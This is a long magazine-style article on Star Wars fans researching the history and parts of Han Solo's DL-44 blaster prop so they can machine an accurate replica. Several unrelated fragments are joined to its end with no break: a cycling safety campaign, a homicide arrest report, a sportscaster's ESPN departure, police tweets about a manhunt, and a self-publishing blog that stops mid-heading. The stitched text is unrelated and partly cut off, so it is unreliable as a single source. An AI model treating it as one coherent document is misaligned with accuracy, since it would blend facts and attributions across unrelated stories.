The same went for the 1:1 props that would decorate the sets and be held by the heroes and villains of the film. Luke Skywalker's lightsaber, for example, was famously made out of a Graflex camera flash handle, with nothing else but rubber strips of cabinet t-track glued onto the base of the handle for a grip. Original flash handles occasionally appear on eBay and are swooped up by Star Wars fans looking to make their own lightsaber prop replica. The Stormtrooper's E-11 blaster rifle was a modified British Sterling submachine gun. Luke's binoculars that he uses on Tatooine were made by a camera company called Rolleiflex. A quote from John Barry in J.W. Rinzler's comprehensive Making of Star Wars book elaborates:
"I took George to all the fun places," Barry adds. "We went to one of the big weapon-hire companies that had endless rows of arms and armor...George and the dresser, Roger Christian, and I got together a lot on those things. Rather than have you slick streamlined ray guns, we took actual World War II machine guns and cannibalized one into another. George likes what he calls the 'visceral' quality that real weapons have, so there are really quite large chunks of real weapons with additional things fixed on to them. It's just so much nicer than anything you can make from scratch; it stops them from having that homemade look."
Image Credit: Flickr user Vasnic64 via Creative Commons.
The "fun place" Barry refers to is likely Bapty & Co., the British armorer hired to piece together the weapons in Star Wars. Brandon Alinger, the Chief Operations Officer of movie memorabilia company Prop Store of London (who also happens to be the founder of the Replica Prop Forum) told me that most of the handheld props built for Star Wars were a collaboration between Roger Christian and Bapty gunsmith Karl Schmidt. Unfortunately, the current staff at Bapty was unable to find anyone still working there who could speak to the props of Star Wars, due to the original team having retired or moved on to other jobs. John Barry unexpected passed away from meningitis during the filming of Episode V. But even without first-hand sources from the original production team, fans like Case and Matera have been able to literally piece together the construction of Han's DL-44 blaster through careful study.
The Mauser C96
The most important component in building Han Solo's blaster is the pistol used for its base, and it's well known that the body for the DL-44 was a German semi-automatic pistol, the Mauser C96. This is easily identifiable by the distinct box magazine in front of the trigger and curved grip in the shape of a household broom handle (the gun is affectionately nicknamed "Broomhandle" in the western world). The Mauser C96 was a very popular pistol in the early 20th century--Winston Churchill is reported to have favored it--and was a mainstay of serials and fantasy characters of that era like the Rocketeer.
Image Credit: Flickr user Vasnic64 via Creative Commons.
But there wasn't just one Mauser C96 pistol. Over its 40 years of production of the C96, Mauser made many variants of pistol, each of its own unique identifiers. The "Red 9" version has the numeral 9 burned and painted in red on the grip to indicate that it utilized 9mm bullets instead of the standard 7mm. A variant nicknamed the "Bolo" made for Soviet Union had a distinctly shorter barrel and flatter curve at the base of its grip. Fans have not ascertained exactly which Mauser C96 model was used for Han Solo's blaster, but settle for a standard-looking model like one of the hundreds of thousands manufactured and used in China during World War II (as there are more of those floating around the gun collectors circuit).
Gun collectors aren't always happy seeing a vintage gun with real historical value milled and destroyed by geeks.
Even though there were hundreds of thousands of Mauser C96s produced in the past century, getting your hands on one to build a DL-44 replica is no easy task. For one, most Mausers that show up at gun shows are in well-worn condition, and even those start at hundreds of dollars and go into the thousands. And like the vintage camera collectors who have noticed a sharply depleting supply of Graflex flash handles, gun collectors too are wise to the DL-44 prop replicator's demand for Mausers. Except they're not always happy about seeing a vintage gun with real historical value milled and in-effect destroyed to satisfy some silly film nostalgic.
Most DL-44 enthusiasts have given up on the idea of using a real Mauser as the base for their DL-44 replica, though some collectors won't settle for anything less. Markus Odendall, a fan thought to have the largest personal collection of Star Wars blaster replicas, is in the latter camp, having spent an estimated 5,000 Euros just on his DL-44 replicas:
A selection of his blaster collection, courtesy Markus Odendall.
"I strive to improve my collection and would like to have the best available representation of a prop. This includes having as many of its original components as possible, of course. But there are major limitations such as availability, and therefore, prices for some of the needed parts. For all those who are financially unable or unwilling to spend that much money on real parts, accurate reproductions are the only option."
In terms of substitutes for a real Mauser, there are two go-tos for DL-44 replicas. The most accurate is a C96 reproduction made by a japanese company called MGC--Model Gun Corporation. MGC is the oldest known gun replica company, founded in 1963. What's unique about the MGC Mausers is that they were actually used by LucasFilm production as the basis for DL-44 blasters after Episode IV, so in essence they are original prop components. These full metal replicas didn't fire real bullets, but were full-fledged plug fire cap guns and had very few identifying marks or logos that called them out as fake guns. MGC Mausers were sold outside of Japan under the brand RMI--Replica Models Inc--but the company went bankrupt in 1994 and in no longer in operation. They're getting increasingly difficult to find, but pop up on eBay occasionally for around $300.
An MGC Mauser replica, courtesy Chris Trevas.
The most affordable Mauser replica available in production today comes from a Spanish company called Denix. Readily available on Amazon for around $60 (with Prime shipping!), these Mauser replicas are still made of metal and have working trigger action, but are much less accurate in the minute details than the MGC build. They're also only sold with plastic grips, which hobbyists replace with wooden ones found on gun parts resellers--a pair of walnut grips cost another $60. The other issue with the Denix replica is that it's actually slightly larger than a real Mauser or even MGC part. That means builders have to shave metal off the gun frame and sand the replacement grips in order to refit them.
An affordable Denix Mauser replica.
All this work and that's just for the base pistol.
The rest of the DL-44's components each have similar histories, and some are even more obscure. There's the "flash hider" muzzle which comes from an MG81 aircraft-mounted machine gun, of which--according to Odendall--only one or two have ever come into the hands of Star Wars collectors. There's the scope, which was deduced to be a Hensoldt & Wetzlar Ziel Dialyth 3x scope from World War II. This part is a little easier to find, going for 30 Euro in Europe and up to $1500 in the US. There's the scope mount, which was custom made for this gun by Bapty. Then there are details like the "heat sinks" along the edge of the box magazine, antenna sights on top of the barrel, and silver circular "mystery disk" on one side of magazine. Analyzing and studying each of these details entails pages upon pages of forum posts, often with no clear consensus to show for it.
The Little Things
Image courtesy Pat Matera.
On page 38 of Case and Matera's investigation, the word of the day is "greeblies". According to ILM founding member Lorne Peterson's book on the Star Wars model shop, Sculpting a Galaxy, a greeblie is defined as "Miscellaneous mechanical details that add realism to a prop, model, or set." It's what model makers call the little widgets harvested from model kits to build their own original props--a practice known as kitbashing. With the DL-44 blaster, there is one particular greeblie that has vexed replica prop builders for years. Dubbed the "antennas", these are two thin rods with a conical tip that sit at the tip of the blaster on either side of a t-track. They look like the tips of radio antennas, but could also be old toggle switches or RC remote joysticks. Fans have contested not only the size and shape of these antennas, but also their placement.
Matera is confident that from his research, the two antenna pieces actually sit to the left and right of the t-track (the same rubber t-track used in the Graflex lightsaber), and not on top of it. He's posted Photoshopped overlays and scaled measurements to prove his case. This includes adjusting brightness levels on scanned photos from old Star Wars magazines, using computer models to match photos, and even mocking up makeshift clay and cardboard antennas to position on his work-in-progress blaster. This is some CSI stuff.
A stunt DL-44 blaster for Empire Strikes Back, courtesy Brandon Alinger.
The debate may be moot, because there is no community consensus that the antennas are even supposed to be on the DL-44. Case and Matera are basing their analysis on publicity photos of Harrison Ford posing with his blaster--the ones you've likely seen in Star Wars calendars and cardboard standees. The problem is that most of these publicity photos were taken before filming began, and subsequent behind-the-scenes photos of Harrison Ford on set in Episode IV actually don't show the antennas at all. Some time during filming, they may have been removed or just fallen off. That brings up an important question when it comes to prop replicas--what's considered canon? Is it a publicity photo? How the prop was seen on screen? What the original prop makers intended and turned in to production?
Brace yourself, because it gets even more complicated.
There Was Never Just One
Case and Matera's project specifically concerns Han Solo's hero blaster from Star Wars: A New Hope. That distinction has to be specified because, like all big-budget productions, there was never just one version of the prop made for filming. The piece Bapty had constructed was the "hero" prop, a heavy piece to be used in close-ups and promotion shots. The production then made a casting of that model to create resin "stunt" props--lightweight and more disposable pieces that could be tossed around in action scenes. These castings would be used in creating variant resin props known as the Merr-Sonn Model 44 blasters, carried by Imperial officers in Death Star scenes. Photos of these Merr-Sonn blasters--which still had the greeblie antennas attached--are how Matera made many of his deductions when it came to the antenna placement.
For scenes that had to be shot in the United States, like Han's showdown with Greedo, the US production team had to scrap together its own version of the DL-44.
In the interest of cost, much of Star Wars was shot at Elstree Studio sound stages near London. When production moved to the United States, LucasFilm was unable to bring back some of the props created by Bapty because they working pieces that fired blanks. So for scenes that had to be shot in the US, like Han's showdown with Greedo, the production team had to scrap together its own version of the DL-44. That variant, made with an MGC replica as a base and sporting a M3 grease gun flash hider, is affectionately known as the "Greedo Killer", or GK.
For The Empire Strikes Back and Return of the Jedi, the production had to again recreate Han's blaster, but chose to heavily modify its appearance, as it would be used by both Han and Luke (like in scenes on Dagobah). This time around, the base was an MGC replica, using a casting of the flash hider made from the Episode IV hero but with no holes in the muzzle. The hider also had three knurled bands around the muzzle, and was pushed through the MGC Mauser barrel completely. In place of the heat sink grills are two V-8 model engine kit parts covering the magazine cartridge. A new scope is thought to be an M19 telescope made by MHR--Minneapolis Honeywell Regulator Co., and attached with a custom mounting bracket. Stunt castings of this prop were subsequently made, and one of those was for a time in the hands of Brandon Alinger and Prop Store of London. Says Alinger:
"For ESB, stunt DL-44 blasters were made from casting the hero prop from ANH. These resin stunt blasters have the same serial number as the hero prop as part of the casting. Resin stunt DL-44 style blasters were also made for the first film, and used by extras. It's possible that the ESB stunts are these same props, re-worked, or cast from the same molds."
A stunt DL-44 blaster for Empire Strikes Back, courtesy Brandon Alinger.
The ESB and ROTJ blaster is a distinct piece all by itself, both in design and construction, but offers little information for A New Hope blaster replica builders.
So aside from publicity and behind-the-scenes photos, where do the reference materials lie for the original DL-44 blaster?
A History of Violence
Still from The Sitting Target featuring the famous mauser, courtesy Chris Trevas.
Surprisingly, answers were found in places completely unrelated to Star Wars. Bapty, the armorer for A New Hope, was also the weapons supplier for a 1967 Frank Sinatra movie titled The Naked Runner. A Mauser C96 is prominently featured in the movie, and from studying VHS screengrabs, fans have been able to confirm that this is actually the same prop that was later turned into Han Solo's blaster. In the film, Sinatra plays a former World War II sharpshooter and wields a sniper rifle that breaks down to fit inside a padded suitcase. In scenes where Sinatra is examining this rifle and assembling it, it's clear that the rifle is a Mauser C96 with a modified "bull barrel" that's larger than the standard barrel on a Mauser. The gun seen in The Naked Runner also has the custom scope mount, though it's mounted on the left side of the gun instead of the right side, as it is on Han's blaster.
Bapty also supplied arms for the 1972 Oliver Reed movie Sitting Target, from which a production photograph shows a matching scope and mount, based on similar scratches, scuffs, and a matching notch on the lens ring. These two films, along with the rare production photo, are all fans have to work off of when analyzing the ANH blaster. Even the Star Wars Blu-ray release in late 2011 didn't provide additional help--1080p stills weren't clear enough to call out details like the antenna greeblies or "mystery disk".
Still from The Sitting Target featuring the famous mauser, courtesy Chris Trevas.
And what of the original A New Hop hero DL-44 prop? No one actually knows where it is. After production finished in London, Bapty kept the original guns, some of which were fished out during collectors' expeditions to the armorer's warehouses in the past decade. For example, Prop Store of London was able to find and verify Sterling Stormtrooper blaster parts and refurbish them using replica dressing. Again, Brandon Alinger:
"BAPTY frequently used to sell guns that it no longer used to the government during government buybacks. They frequently disposed of modified weapons this way, since they were damaged in their eyes, and no longer suitable for work as a standard film weapon. It is very likely that this is what became of the original ANH Mauser prop."
The bizzaro DL-44 with the reversed scope.
Interestingly enough, the ANH blaster--or at least its base Mauser, was seen one last time in a deleted scene from Return of the Jedi. Dubbed the "bizarro blaster", it appeared in Han's hands during an attack on the Imperial bunker on Endor. It's bizarre because in these scenes, the scope on the blaster is clearly reversed, with the objective lens at the front of the gun instead of the rear. It's also attached with a different mount that places the scope on top of the pistol body instead of to its side.
That's not to say that all hope is lost when it comes to the original ANH hero prop. LucasFilm Licensing's Sr. Manager, Chris Spitale, told me that props sometimes appear where fans least expect:
"Sometimes, an original prop just turns up in unexpected places. For example, what is believed to be the original "hero" Darth Vader lightsaber was actually on display in a casino in Pennsylvania. There was only 1 "hero" Vader lightsaber made for Ep IV, V & VI."
With Star Wars, there's always hope.
The Rise of Replicas
In the 35-year history of Star Wars, it's difficult to believe that no one else has done enough research to answer all the questions about the DL-44 blaster. And to be fair, much formal research has been done, by both fans and official LucasFilm associates alike. Most of that scrutiny occurred under the purview of officially licensed collectibles. Fans of Star Wars may have heard names like Icons and Master Replicas. These were companies that made selling prop replicas their business, run by hobbyists who wanted to commercialize their skills and bring fans high-end products they couldn't find in toy stores.
A rare look inside the Lucasfilm Archives from John Knoll's Star Wars 365 book.
Icons was the first of these companies, founded in 1995 by experienced Hollywood production insiders who obtained the first replica license granted by LucasFilm. Their first product, a 1:1 scale replica of Darth Vader's lightsaber, was perhaps the first commercially available Star Wars prop replica and met with feverish anticipation. The company sold tens of thousands of lightsaber replicas, in places like Star Wars Insider magazine, FAO Schwartz, and even QVC. But when the company went under in 2002, LucasFilm was reluctant to grant another replica license until Master Replicas came along in 2001. Steve Dymszo, a longtime prop replica maker and the co-founder of Master Replicas, recalls how they convinced LucasFilm to give them the license:
"After Icons had lost the license, Lucasfilm was very wary about filling the prop replicas category again. Many companies were submitting proposals, and I had to call them every 4 to 6 weeks, over about four years to see if they were setting up interviews. On one particular call, they finally said that they were reviewing formal proposals and would be arranging interviews.
...I had prepared quite a few prototypes in display cases and they later said that was one of the things that convinced them to go with us. They actually played with the replicas during the entire meeting!
Ultimately, they said that we were awarded the license, because they were impressed with our combined business experience and background, my knowledge of the subject, our ability to pony up lots of money for the licensing advance, and of course, the prototype replicas [I brought to the meeting]."
With a replica prop license, Dymszo and Master Replicas negotiated unprecedented access to the LucasFilm archives in 2001.
With that license, Dymszo and Master Replicas negotiated unprecedented access to the LucasFilm archives--warehouses full of props and models collected over the productions of Star Wars and Indiana Jones. Says Dymszo:
"We also stipulated as part of the license contract, that we needed unrestricted access to the archive so that every replica could be as accurate as possible. This was a sticking point, as they almost-never let licensees into the archive. 99% of the time, they would get the reference and e-mail it. Most of the Lucasfilm staff had never even been to the archive themselves; entry was very restricted.
But they finally agreed, and I (and other MR reps) ultimately went to the archive about 30 to 40 times and spent hundreds of hours there obtaining reference, measuring, photographing, or digitally scanning the original filming props, costumes, and miniatures."
Master Replicas' first Limited Edition DL-44 replica.
In 2002, Master Replicas issued the first Han Solo A New Hope blaster replica, which according to high-end collectibles site ToyTracker, was a limited edition of 1500 and had a retail price of $450. The blaster sold out quickly and Master Replicas was so proud of their product at the time that they also released a lithograph blueprint of their blaster design, framed and matted for collectors to display along with their replica.
Master Replicas' second Elite Edition DL-44 replica.
Unfortunately, it became clear that this blaster was not as accurate as fans had hoped. For example, its dimensions were actually scaled to that of a Denix Mauser replica, not an original or even MGC replica. The Denix base was pretty obvious in that Master Replicas retained the stamped diamond Denix logo above the trigger on left side of the magazine. Says Dymszo of the effort: "Our first ANH replica released in 2002 was not nearly as accurate as I would have liked it to have been, but we were constrained by time/staff/budget and were forced to use the Denix mauser replicas at that time."
Master Replicas would get a chance to redeem itself in 2006, when it released a second ANH DL-44 blaster replica, the "Elite Edition". This version had a much more accurately milled body and working hammer and trigger action, along with wooden grips and a see-through scope. New details discovered by other fans were incorporated, such as the three-section "heat sink" fins on the gun magazine. Acknowledging uncertain details like the presence and location of the antenna greeblies, the Elite Edition actually offered a detachable set of t-tracks so collectors could configure it as they saw fit. The China-made prop was also unweathered (ie. had no painted damage or wear) because Master Replicas felt that convincing weathering could not be done in mass production, so it was sold "as issued" by the fictional company BlasTech.
Master Replicas' second Elite Edition DL-44 replica.
There were only so many fans willing to shell out hundreds of dollars for multiple lightsaber and blaster replicas.
Setting the production run of the Elite Edition to 1250 pieces and pricing it at $650, Master Replicas was surprised to find that their new prop didn't sell out nearly as quickly as the original. In fact, retailers held on to products and had to lower the price to as low as $400 before the final units were sold. Today, an Elite Edition Master Replicas ANH blaster fetches well above retail on eBay (I own number 113 out of 1250). But that wasn't enough to save Master Replicas, who saw the high-end collectibles market growth slow down after it was acquired by toy company Corgi in late 2006. There were only so many fans willing to shell out hundreds of dollars for multiple lightsaber and blaster replicas.
The current crop of prop replica companies, like eFX and Quantum Mechanix, don't offer their own versions of the DL-44 blaster, but it's unlikely that any prop replica made in large quantities and commercially sold would satisfy the likes of Carson Case and Pat Matera. As nice as Master Replica's Elite Edition looks, it's a better prop to look at than to hold. In hand, it feels overtly like a singular object, not something that was pieced together from multiple parts. The fact that it's a mass-produced fabrication is apparent; you never get the sense that it is a pistol--real or replica--with pieces attached to it. And here's the rub: the Elite Edition is already considered inaccurate by today's prop replica standards.
Into Parts Unknown
Replica Prop Forum members have scoured old model airplane and plumbing parts catalogues to see if they can find matching grill piece.
One of the places that Matera thought warranted more scrutiny was the "heat sink" grills. These are grooved black circular pieces attached to the front of the Mauser C96's magazine chamber. In developing the Master Replicas Elite Edition prop, Steve Dymszo was informed by Jason Joiner--owner of one of the world's largest collections of Star Wars memorabilia--that these greeblies were plastic "plumbing adapter" parts, and that the grooves were rubber threads for the adapter. Not everyone agrees with that assessment, and another theory is that the heat sink is made from three large pieces from a model airplane cylinders. Replica Prop Forum members have scoured old model airplane and plumbing parts catalogues to see if they can match the part. But origins aside, Matera discovered some uniformity to the three pieces of the heat sink. Case explained the revelation to me:
"If Pat hadn't pointed out that the lower two pieces on the DL-44's Grill were slight tapered, which hadn't occurred to any of us, it would have been very difficult for anyone to realize that the very top piece is the same part as the lower two, but flipped, tipped and offset. Then the whole grill came together and made perfect sense, but it could have been easily left unnoticed without realizing that very slight taper first."
Again, progress inching forward.
From all the prop makers and collectors I spoke to and corresponded with, one name kept coming up as an authority on the DL-44. Chris Trevas, who goes by the name Lonepigeon on TheRPF, is an artist and longtime contributor to the Star Wars Insider fan magazine. In addition to creating Star Wars art for collectible card games, magazines, and books, Trevas also runs The Parts of Star Wars, a website that catalogs the props that have appeared in the films and their original construction.
Along with fellow artist Chris Reiff, Trevas drafted the art for the official Star Wars Blueprints book released in 2008. The poster book featured 1:1 diagrams and schematics of various weapons of Star Wars, including, yes, the DL-44 blaster. For their research, Trevas and Reiff were granted access to the same reference materials from the LucasFilm image archives that was given to licensed prop companies--high-resolution photographs that hobbyists could never find with a Google search.
A DL-44 schematic from the Star Wars Blueprints book.
As Case and Matera's epic forum thread expanded, Trevas acted as sort of a godfather to the research project, jumping in from time to time to post clarifications from his own research. Because he can't share the assets he's had access to from the LucasFilm archives, the forum researchers have to take him for his word, which has in more than one occasion lead to drawn-out disagreements over certain parts.
Taking Matters into Their Own Hands
One thing that Case, Matera, Trevas, and all the other DL-44 replica makers can agree on is that the will of a collected group is much more effective than the efforts of an individual alone. These makers all crave their own DL-44 replica, but there's no place they can buy parts that are accurate enough to satisfy their demands. Online shops like Blast-Tech make a business out of selling replica kits to hobbyists, but these kits aren't kept up to date with the new discoveries. Individually milling or molding your own parts is very expensive, and not everyone has access to a machine shop. That's why every so often, members of the RPF band together to produce limited quantity runs of parts, complete with the newest data. Trevas says a run of this quality hasn't been done in a long time:
"Most of the replica prop part businesses like Blast-Tech or Parks are not concerned with great accuracy. They supply the casual hobbyist with in-stock, good enough, parts...Really good Han ANH replica parts are rare.
It's been a long time since there was a run like this. Complex pieces like the scope cradle haven't been made in metal in many, many years. There's never been a machined replica scope run. The Master Replicas Elite Edition topped all fan made pieces when it came out in 2006. Since then, most people have been buying the Elites and modifying them--adding real scopes etc. It was cheaper to buy the Elite than to machine parts that good."
3D render of the DL-44 scope, courtesy Carson Case.
Case, whose day job is repairing PCs and laptops, spends his nights tweaking 3D CAD models of DL-44 blaster parts based on the new information and feedback from the forum thread. Matera, who is a sculptor and prototype developer by trade, help refine those models with insight on how those parts could be machined with steel and aluminum. Night by night, they work out details to pass along to a New York-based machinist they've contracted to produce the run. The smallest details, like the knurling pattern on the scope mount screw, are vetted and brought back to the community for consensus. Only two dozen or so sets of these parts will eventually be made, but they're going into the eager hands of the fans who can truly appreciate them.
Flash Hiders for the current replica run, courtesy DarkEnergy Creations.
The Question of Authenticity
When the run is finished--the machinist is shooting for the end of 2012--Carson Case and Pat Matera will finally have the parts to build their own DL-44 replicas acceptable to their high standards. But even then, they would be hesitant to call it perfect. As mentioned earlier, authenticity and canon are tricky territory when it comes to movie props. Says Steve Dymszo:
"There is no such thing as real '100% authenticity'. The reality of this varies with each person; their personality, experience, perception of reality, and visual acuity. I have always felt it was a little silly how some folks swear that they have the 'perfect' replica, but have never actually seen or held the original item. Photographs lie--shadows, fore-shortening, lens settings, etc, can dramatically change details and coloring on objects as we perceive them. As for colors, they change depending on the light in which they are viewed. Many gray colors for example, will absorb the color next to them and take on that shade as your eye sees it."
If you saw the props as they appeared on screen, you would think they were crap. Props in movies and TV were not built to do anything but satisfy the camera.
Andy Gore, CEO of Quantum Mechanix (another company that Steve Dymszo founded), agrees, which is why his company's Artisan replicas are given more detail than the original screen-used models:
"Anybody in this business will tell you: if you saw the props as they appeared on screen, you would think they were crap. Props in movies and TV were not built to do anything but satisfy the camera. In person, a stunt weapon will really look terrible since the prop master had two weeks to create 200 guns. So "screen accurate" isn't about being a duplicate of the prop you saw on screen. We want to make what you saw in your head, and that's a much higher standard."
The importance of weathering a replica--painting it so it looks old and used--can't be ignored, as it's also a heavily personal preference. Trevas likes his prop replicas weathered as he thinks the original prop maker intended, but stops short of making pieces crooked on purpose or including glue drips or other unintentional defects that occurred during film production. Case says personal preference has a mysterious effect on how a replica turns out: "The more interested you are in that particular prop and the more that's figured out about it, the more your taste will change and evolve for that prop over time. I know mine certainly has."
Weathering on a modified Master Replicas Elite Edition, courtesy Steve Dymszo.
How to weather and finish a project is one of the toughest decisions in replica prop making, especially since it's the final step of a long and expensive journey. "Weathering can be a tough thing to do after spending hundreds of dollars on rare real-world pieces or custom machined brand new parts," says Trevas. It's also never as simple as putting paint on metal. To improve the Elite Edition DL-44 blasters that his defunct company once sold, Steve Dymszo had to strip the collectible down to its bare components and basically rebuild it from scratch:
"I stripped it completely down to the bare metal. This involved soaking in acetone, motorized wire brushes, sandpaper, X-acto blades, files, wounds, crying, and lots of suffering. I then machine-scotchbrited and machine-polished each part to a mirror finish and blued all of the parts to give them the proper patina. The bluing knocks some of the gloss down, so the parts dulled down to the proper level when I was done.
I added several real Mauser parts and used a number stamp system to add the missing serial numbers and lettering. Lucasfilm stipulated that we couldn't make any replicas with "real world" letters, numbers, or markings on it, so those details had to be removed from all replicas.
I replaced the plastic lenses in the scope with real glass, spun the scope on a lathe to thin/smooth out the paint and make it look like the original scopes, and added the Hensoldt lettering on the side. Finally, I sketched out all of the weathering on the gun and carefully added it. Including the marks in the wood grip. I used micro-mask on the scope frame, because nothing looks more like chipped paint than actually chipping the paint!"
A modified Master Replicas Elite Edition DL-44, courtesy Steve Dymszo.
All in all, Dymszo estimated the refurbishment took over 40 hours of work. Then he did it again to a second Elite Edition blaster.
The Saga Continues
In the prop replica world, there are always details that will be left unresolved or could be improved on when new reference resources surface. Carson Case and Pat Matera were not the first to be obsessed with Han Solo's A New Hope blaster, nor are they likely to be the last. They follow a long line of collectors and prop makers whose love for digging through details, collaborating on problem solving, and building something by hand outweighs the eventual ownership of a replica prop.
But at least in this project, one more detail will be resolved, and that takes us back to the original question of the cylindrical bull barrel of the DL-44, posited all those months ago. The answer to this particular investigation was found on, of all places, a grassy knoll. Matera was able to obtain a rare DVD copy of The Naked Runner for reference. And in a scene where Frank Sinatra lays down his modified Mauser C96 on the grass, there it was, clear as 480p could ever be: a flat-bottom bull barrel. Cue the Ewok Celebration chant.
After the completion of the Japan Cup, the fluoro outfit will be used as standard training kit.
#BeLoud, be seen! Do you know the ABCs of Awareness? Always on, Biomotion & Contrast! 3 simple steps that can make a difference. pic.twitter.com/YiBjVWLkUc — Trek-Segafredo (@TrekSegafredo) October 21, 2016
The team has been conducting an ongoing safety study about rider visibility in partnership with students at Clemson University’s Perceptual Awareness department. This has given rise to “the ABCs of Awareness.”
The team’s recommendations to improve visibility are as follows:
Always on (ride with lights, day and night)
Biomotion (highlight the body’s moving parts)
Contrast (fluorescent during daylight, reflective in low-light conditions).
Garfield County deputies responded to a report of a possible homicide at the Pinon Pines apartments in Glenwood Springs at 7:45 p.m. on Friday, where they found the body of a 24-year-old woman.
“As the investigation continued, Gustavo Olivo-Tellez was identified as a primary suspect in what appears to be a case of extreme domestic violence,” the Garfield County Sheriff’s Office said in a news release. “This act was made even more tragic given the fact that October is Domestic Violence Awareness Month.”
Police followed unnamed clues to the Grand Junction area in Mesa County, just south of Garfield, where officials obtained the proper search warrants. Just after 8 a.m. Saturday morning, Olivo-Tellez was arrested by the Grand Junction SWAT Team following coordinated efforts with several agencies.
Olivo-Tellez was also charged with first degree murder following Friday night’s killing. He was wanted on a previous domestic violence warrant.
The Garfield County Coroner is waiting to release the name of the victim until after family members have been notified.
Play-by-play broadcaster Jon Miller was vacationing in jolly old England when his lawyer phoned with the not-so-jolly news that ESPN had declined to offer him and Joe Morgan new contracts for "Sunday Night Baseball," ending a 21-year run on prime time for the duo.
Miller returned to his Moss Beach home Saturday night and said by phone that he needs time to contemplate ESPN's offer to continue calling the Sunday night games on radio, though he is inclined to say no. That could land Miller in the Giants' broadcast booth on weekends for the first time since joining the team before the 1997 season.
Miller was not definitive about ESPN's radio offer because "it's still being talked about, and I'll hear out their offer," he said. At the same time, he said he is "not likely" to accept.
An expanded role with the Giants needs to be discussed with the team. Miller expects his status to stay on the back burner until the Giants complete negotiations with broadcasters Mike Krukow and Duane Kuiper. Their contracts expired after the 2010 season. Miller has two years left on his.
"At some point, when they're all signed and sealed, I'll see where everything stands," Miller said.
In this Juy 16, 2010, photo, San Francisco Giants broadcaster Jon Miller sits during a ceremony to celebrate his induction into the Baseball Hall of Fame, before a baseball game between the Giants and the New York Mets in San Francisco. Miller and Joe Morgan are out as announcers on ESPN's "Sunday Night Baseball" after 21 seasons. ESPN made the announcement Monday, Nov. 8. No replacements were named. less In this Juy 16, 2010, photo, San Francisco Giants broadcaster Jon Miller sits during a ceremony to celebrate his induction into the Baseball Hall of Fame, before a baseball game between the Giants and the New ... more Photo: Marcio Jose Sanchez, AP Photo: Marcio Jose Sanchez, AP Image 1 of / 1 Caption Close Jon Miller leaning against taking ESPN radio offer 1 / 1 Back to Gallery
One thing Miller could say with certainty: He has no bitterness toward ESPN for letting him go.
"I never would have expected 21 years when I started," Miller said, adding that he told Morgan after they got the news, "We were in a prime-time slot every Sunday for 21 years. That might be unprecedented in our particular business."
Indeed, Matt Dillon sweet-talked Miss Kitty for one fewer year on "Gunsmoke."
Miller turned 59 in October and acknowledged he might have declined to accept a new ESPN contract if it had been offered. His dual jobs required exhausting travel almost every weekend during a season, often cross-country because the "Worldwide Leader" tends to think of the world as New York and Boston.
Beyond the initial jolt when his lawyer phoned with the news, Miller said he cannot be shocked that ESPN wanted new Sunday night broadcasters amid a larger network overhaul. Current ESPN broadcaster Dan Shulman is expected to replace Miller.
"We don't know if that's his real name or not. That might just be an alias perhaps," said Stewart.
"We can't say with any degree of certainty what his actual name is."
"Frank" is wanted on charges of aggravated assault, dangerous driving, failing to remain at the scene of an accident and several human trafficking charges, including advertising sexual services and obtaining a material benefit from sexual services.
He is described as black, 5-foot-7, in his early 20s, with cornrows and a scar above his eyes.
Police are advising residents not to approach this individual.
More information will be provided as it becomes available.
Most recent #Frank sighting was Sutton Drive and Whitehorn, if you see anything in that area please contact police ^ao — HRPS Burlington (@HRPSBurl) July 7, 2016
Residents please turn your porch lights on to assist officers in their search, call if you see anything #Frank^ao — HRPS Burlington (@HRPSBurl) July 7, 2016
Another reminder from earlier today, please do not post photos of officers or locations at this time #officersafety #Frank^ao — HRPS Burlington (@HRPSBurl) July 7, 2016
Current description of #Frank Male Black mid 20's 5'7" thin hair in cornrows blue jacket or shirt knee length gym shorts Dark Blue^ao — HRPS Burlington (@HRPSBurl) July 7, 2016
At this time we would ask residents lock your doors if you live in the Orchard area, officers are responding to conduct a search ^ao — HRPS Burlington (@HRPSBurl) July 7, 2016
Orchard residents please note high officer presence in the area as reports of "Frank" being spotted, a perimeter is being set up 1/2 — HRPS Burlington (@HRPSBurl) July 7, 2016
2/2 in the area of Upper Middle and Quinte ^ao — HRPS Burlington (@HRPSBurl) July 7, 2016
Police have called off search for party wanted by Ham PS Vice. All schools in area Appleby/Dryden will be released. No danger to public.^jd — HRPS Oakville (@HRPSOak) July 6, 2016
Officers are making efforts to locate suspect in Orchard area, we ask you please call your sighing information in do not post online 1/2 — HRPS Burlington (@HRPSBurl) July 6, 2016
Police still searching the Appleby/Upper Midd area,wanted party "Frank" male/blk, 26 yrs, 5'9" slim build, corn roll hair,scar above eyes^jd — HRPS Oakville (@HRPSOak) July 6, 2016
Wanted party spotted in Sutton/Blue Spruce Burlington,police setting up in area,aka "Frank" male/blk, 26 yrs,5'9" slim build,cornrow hair^jd — HRPS Oakville (@HRPSOak) July 6, 2016
Wanted party "Frank" police have concluded active search of the area but officers will still be in area.Ham PS continuing to investigate.^jd — HRPS Oakville (@HRPSOak) July 6, 2016
1/2 Police actively searching for wanted person Bronte/QEW, aka "Frank" male/blk, 26 yrs, 5'9" slim build, corn roll hair,scar above eyes^jd — HRPS Oakville (@HRPSOak) July 6, 2016
So many, in fact, that it can be difficult to weed through everything. I would like to share with you some of the strategies that I’ve used in my business to successfully publish many different books.
Self-publishing doesn’t have to be a difficult process. It does take some time and getting used to, but trust me, if I can do it then you can too!
Watch the video below:
Do you want to learn the best ways to promote and sell your books or content online? I’ll teach you the specific techniques and strategies that have allowed me to sell 1000’s of books. CLICK HERE to sign up for my 1 on 1 Coaching Program.
How to Publish a Book on Amazon
Today, I’m going to tell you exactly how to publish a book from start to finish. Everything that’s included. One of the reasons that a lot of people don’t get into self-publishing and never publish their own work is because they’re afraid that self-publishing is difficult, that it will take a lot of time, that they will make mistakes, that they don’t know what they’re going to be doing and that it’s expensive.
All of these are unfortunately incorrect, and because of that, people end up losing out on great opportunities to publish their own works or make money online. Today, we’re going to cover all of that. Everything from formatting and to actually self publishing. I’m not going to go too deep into the specifics of each thing, but I’m just going to outline a blueprint of what you need to do and where you need to go to get the specific things done.
Step One – Basic Book Creation: Niche / Title / Subtitle
The very first step for how to publish a book is that you need to find your book niche. Then you need to create a book title for it. The title needs to be relevant to the book, it needs to be compelling, short and well thought out. You need to have an author name or a pen name ready and a subtitle. Once you’ve created these, then you need to create a cover.
For this, you can do a couple different things. I highly, highly recommend that you do not create the cover yourself. A lot of people do this. I think it’s a mistake. By creating the cover on their own people get a little naïve about what’s a good cover and what’s not, but if you’re a professional graphic designer, by all means go create your own cover. I still would recommend you get some third party eyes on it first to have other people review it and look at it first.
Step Two – Finding Graphic Designers for Your Cover
